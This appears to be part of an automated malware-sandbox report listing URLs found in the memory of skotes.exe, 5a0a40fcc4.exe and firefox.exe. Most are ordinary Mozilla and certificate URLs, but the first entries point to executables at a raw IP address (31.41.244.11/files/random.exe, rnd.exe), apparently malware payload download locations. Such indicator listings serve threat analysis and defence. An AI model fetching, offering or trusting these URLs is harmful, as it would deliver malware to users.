Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exej
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exel
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exeurlencoded
Source: 5a0a40fcc4.exe, 00000009.00000002.3318093762.0000000001475000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/rnd.exe
Source: 5a0a40fcc4.exe, 00000009.00000002.3318093762.0000000001475000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/rnd.exes&33
Source: 5a0a40fcc4.exe, 00000009.00000002.3318093762.0000000001475000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/rnd.exesd
Source: firefox.exe, 00000017.00000002.3160186876.000002A111123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000017.00000002.3160186876.000002A111123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3160186876.000002A111123000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3160186876.000002A111123000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: 5a0a40fcc4.exe, 00000009.00000003.3110177763.0000000005A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11131A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 5a0a40fcc4.exe, 00000009.00000003.3110177763.0000000005A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11131A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 5a0a40fcc4.exe, 00000009.00000003.3110177763.0000000005A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11131A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 5a0a40fcc4.exe, 00000009.00000003.3110177763.0000000005A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11131A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 5a0a40fcc4.exe, 00000009.00000003.3110177763.0000000005A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11131A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 5a0a40fcc4.exe, 00000009.00000003.3110177763.0000000005A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11131A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 5a0a40fcc4.exe, 00000009.00000003.3110177763.0000000005A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11131A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000017.00000002.3161686085.000002A111253000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A1122B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3184195797.000002A112603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3055811749.000002A11262F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3196854031.000002A113773000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000017.00000002.3157663268.000002A110FD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3135318062.000002A10DABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3166147320.000002A1115CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3212714323.000002A1185D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A1122C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000017.00000002.3161686085.000002A111203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000017.00000002.3161686085.000002A111203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3166147320.000002A1115CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 00000017.00000002.3130073493.000002A10C061000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000017.00000002.3130073493.000002A10C061000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000017.00000002.3179199172.000002A1122EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CAAA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A1122EF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000017.00000002.3179199172.000002A1122EF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 00000017.00000003.3087194232.000002A112437000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3090873672.000002A112439000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3087864468.000002A112437000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A1122EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3232783485.00002C21D2B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3085682119.000002A112437000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3181915979.000002A112437000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3090007254.000002A112439000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000017.00000002.3233157358.00002EC12A900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3178365976.000002A1121DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3232389340.000021C16A600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3232783485.00002C21D2B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3231785535.0000145788C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3233031572.00002DF3FB800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3115390237.000000B8E0BD8000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/aboutWelcomeBehavior
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThresholdhttp://mozilla.org/#/propert
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/boolean
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabled
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRR
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRR9e34c6e7-cbed-40a0-ba63-35488e171013
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/h3Enabled
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/h3GreaseEnabled
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/insecureFallback
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/insecureFallbackmessaging-system-action.pocket-topics
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/insecureFallbackmessaging-system-action.pocket-topicshttp://mozilla.
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalPropertieshttp:
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/migrateExtensions
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/networkPredictor
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/networkPredictorblocklisted:FEATURE_FAILURE_PARSE_DRIVER
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabledDELETE
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/showImportAll
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/showPreferencesEntrypoint
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/tlsEnabled
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/tlsGreaseProb
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/useNewWizard
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 00000017.00000002.3233157358.00002EC12A900000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/-oem2Z
Source: firefox.exe, 00000017.00000002.3232389340.000021C16A600000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org//0s
Source: firefox.exe, 00000017.00000002.3233157358.00002EC12A900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3233031572.00002DF3FB800000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/0s
Source: firefox.exe, 00000017.00000002.3130809061.000002A10C1DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3135563196.000002A10DBF9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3047163093.000002A1186A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3192664244.000002A112FB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118720000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3207650570.000002A114132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3213720342.000002A118608000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3135318062.000002A10DABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3189672479.000002A112D15000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3047163093.000002A118688000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3047163093.000002A118680000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A1122D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3213720342.000002A1186A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3192664244.000002A112F9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3213720342.000002A118650000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118720000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3144047725.000002A1106FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3159483521.000002A111003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3157663268.000002A110F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3047163093.000002A1186CB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 00000017.00000002.3233157358.00002EC12A900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3231785535.0000145788C00000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/Z
Source: firefox.exe, 00000017.00000002.3232389340.000021C16A600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3231785535.0000145788C00000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/j
Source: firefox.exe, 00000017.00000002.3233157358.00002EC12A900000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/r
Source: 5a0a40fcc4.exe, 00000009.00000003.3110177763.0000000005A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11131A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: 5a0a40fcc4.exe, 00000009.00000003.3110177763.0000000005A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11131A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000017.00000002.3213720342.000002A1186A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130073493.000002A10C0AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000017.00000002.3213720342.000002A1186A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3212714323.000002A1185B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130073493.000002A10C0AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000017.00000002.3221388234.000002A11AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3160186876.000002A111123000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000017.00000002.3140433116.000002A11013E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112249000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3184195797.000002A112603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3055811749.000002A11262F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3055811749.000002A112696000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3196854031.000002A113773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3053951594.000002A1126EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3184195797.000002A1126D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3184195797.000002A1126EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3184195797.000002A112696000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3189672479.000002A112D54000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000017.00000002.3157663268.000002A110F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
